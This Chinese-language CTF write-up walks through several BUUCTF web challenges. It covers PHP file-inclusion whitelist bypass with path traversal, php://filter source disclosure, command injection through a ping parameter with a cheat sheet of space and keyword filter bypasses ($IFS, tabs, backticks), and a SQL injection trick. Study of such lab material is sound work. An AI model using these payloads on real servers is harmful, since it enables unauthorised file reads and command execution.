buuctf-[HCTF 2018]WarmUp1sp1:F12查看一下,提示source.php
查看<http://91f5d87d-1ac3-4416-a95c-9fe9b86bb181.node5.buuoj.cn:81/source.php>源码
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { //白名单列表 $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值 if (! isset($page) || !is_string($page)) { echo "you can't see it A"; return false; } //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真 if (in_array($page, $whitelist)) { return true; } //过滤问号的函数(如果$page的值有?则从?之前提取字符串) $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置 ); //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真 if (in_array($_page, $whitelist)) { return true; } //url对$page解码 $_page = urldecode($page); //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串) $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真 if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
关键函数
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
mb_strpos (haystack ,needle )
// haystack:要被检查的字符串。
// needle:要搜索的字符串
mb_substr() 函数返回字符串的一部分。
//str 必需。从该 string 中提取子字符串。
//start 必需。规定在字符串的何处开始。
//ength 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
发现另一个页面hint.php,访问查看<http://91f5d87d-1ac3-4416-a95c-9fe9b86bb181.node5.buuoj.cn:81/hint.php>显示
flag not here, and flag in ffffllllaaaagggg
发现flag在ffffllllaaaagggg,提示在hint.php中的四层目录中
构造Payload:
?file=hint.php?../../../../../ffffllllaaaaggg输入Payload
<http://91f5d87d-1ac3-4416-a95c-9fe9b86bb181.node5.buuoj.cn:81/source.php
?file=hint.php?../../../../../ffffllllaaaaggg>获得FLAG:flag{4509e66d-fd0f-4fbe-ad50-24fa8d20156e}
[ACTF2020 新生赛]IncludePHP伪协议利用
有一个tips链接,点击查看
查看F12无特别有效的信息
题目Include提示文件包含,并且
?file=flag.php文件包含直接读取的是文件,而不是文件源码,所以要想办法读取源码方法。假设我们有一个PHP文件包含漏洞的场景,我们可以通过构造以下payload来利用这个漏洞:
file=php://filter/read=convert.base64-encode/resource=flag.php这个payload会将flag.php文件的内容通过base64编码后输出,而不是直接执行PHP代码。
发现是个base64加密,使用base64解码器解码得到FLAG
获得FLAG:flag{b73d01d6-553d-4f93-9f8c-d63111774318}
[ACTF2020 新生赛]Exec1Ping题目是一个常见的Web安全挑战。该题目通常涉及通过ping命令与服务器进行交互,并利用命令注入漏洞获取敏感信息。以下是一个经典的CTF Ping题目的详细解析。
使用
?ip=0.0.0.0通过这个接口,我们可以发送ping请求并查看返回的数据包。命令注入
在这个题目中,我们可以利用命令注入来执行任意命令。命令之间可以使用分号(;)进行堆叠。例如,列出当前目录下的文件:
?ip=0.0.0.0;lsls是Linux系统中列出目录文件的命令。如果没有被过滤,我们可以查看隐藏文件:
?ip=0.0.0.0;ls -a如果空格被过滤,可以使用IFS(内部字段分隔符)绕过空格限制:
?ip=0.0.0.0;ls${IFS}-a查找flag
首先,我们需要确定当前路径:
?ip=0.0.0.0;pwd假设返回路径为/var/www/html,我们可以尝试查看根目录下的文件:
?ip=0.0.0.0;ls${IFS}/如果发现根目录下有flag文件,可以使用以下命令查看其内容:
?ip=0.0.0.0;cat${IFS}/flagcat是Linux系统中查看文件内容的常用命令。如果cat被过滤,可以使用其他命令如
less、more或nl:?ip=0.0.0.0;less${IFS}/flag?ip=0.0.0.0;more${IFS}/flag?ip=0.0.0.0;nl${IFS}/flag如果flag文件名被过滤,可以使用通配符进行绕过:
?ip=0.0.0.0;less${IFS}/f*?ip=0.0.0.0;less${IFS}/f???===========================
使用
?ip=127.0.0.1;pwd 查看当前路径==》/var/www/html使用
?ip=0.0.0.0;ls -al 查看当前路径下的文件,没有flag使用
?ip=0.0.0.0;ls / 查看/目录下的文件结构使用
?ip=0.0.0.0;cat /flag 查看flag文件的内容获取FLAG:flag{44ddffac-ab07-4118-9d4a-fb7513148f45}
[GXYCTF2019]Ping Ping Ping 看题目依旧是命令注入
ping一个地址并查看当前目录的文件结构,发现flag.php
使用
?ip=127.0.0.1;cat flag.php 发现有限制空格使用
${IFS}$空格绕过?ip=127.0.0.1;cat${IFS}$flag.php发现又限制了“{”“}”使用
$IFS$1绕过?ip=127.0.0.1;cat$IFS$1flag.php 绕过了{}发现限制了flag绕过flag限制?ip=127.0,0.1;a=g;cat$IFS$1fla$a.php,绕过成功,但无显示flag,查看网页源代码,显示FLAG
可以查看index.php网页,显示源代码
/?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo " "; print_r($a); } ?>
限制的字符:
& / ? * < x{00}-\x{1f} ' " \ () [] {} 空格 "xxxfxxxlxxxaxxxgxxx" " " "bash"
===================
绕过姿势
命令联合执行
连接词 | 释义 |
; | 前面的命令执行完以后,继续执行后面的命令 |
| | 管道符,将上一条命令的输出作为下一条命令的参数(显示后面的执行结果) |
|| | 当前面的命令执行出错时(为假)执行后面的命令 |
& | 将任务置于后台执行 |
&& | 前面的语句为假则直接出错,后面的也不执行,前面只能为真 |
关键词绕过
1、绕过空格过滤的方法
- ${IFS}$9
- {IFS}
- $IFS
- ${IFS}
- $IFS$1 //$1改成$加其他数字亦可
- IFS
- <
- <>
- {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
- %20 (space)
- %09 (tab)
- X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
内联执行绕过
内联,就是将反引号内命令的输出作为输入执行。
?ip=127.0.0.1;cat$IFS$9`ls` $IFS在Linux下表示为空格 $9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字
本题使用内联执行绕过也可以解题,使用
?ip=127.0.0.1;cat$IFS$9`ls` 按F12可发现flag获得FLAG:flag{8d4b2e32-625d-4e26-82ee-40ab0db2ba67}
[SUCTF 2019]EasySQL 1明显一个注入题,并把注入点直接给出来了,做一些简单测试,发现过滤了
from、union等关键词,均显示Nonono.;输入数字发现有有效回显!输入字符的时候啥也不回显。他的后端既然能做到数字回显字母不回显,说明有一个 或 (||)结构,而且不直接回显flag,但作为一道题目,from一定是from flag。
CSDN大佬猜测出后端查询语句:!!!!猜测
select $_POST['query'] || flag from flag这题有三种解法
- 堆叠注入
- 手工盲注
- sql_mode修改注入
手工盲注
* ,1 注入,直接回显flag- 原理:等同于
select *,1 from flag
sql=select.post[‘query’]"||flag from Flag";如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag
